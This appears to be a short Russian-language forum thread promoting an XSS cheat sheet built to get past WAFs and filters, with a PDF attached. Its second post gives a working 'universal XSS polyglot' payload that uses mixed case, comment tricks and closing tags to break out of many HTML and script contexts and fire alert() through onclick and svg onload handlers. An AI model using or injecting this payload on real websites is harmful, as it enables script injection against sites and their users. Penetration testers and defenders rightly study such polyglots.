Cross-site scripting (XSS) cheat sheet 2020

[XOJ1MC]

Эта шпаргалка для межсайтовых сценариев (XSS) содержит множество векторов, которые могут помочь вам обойти WAF и фильтры. Вы можете выбрать векторы по событию, тегу или браузеру, и для каждого вектора имеется подтверждение концепции. Этот шпаргалка регулярно обновляется. Последнее обновление: вт, 26 мая 2020

Прикрепленный файл: cheat-sheet.pdf
​

 

[neadekvat]

универасальный xss полиглот

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Больше об xss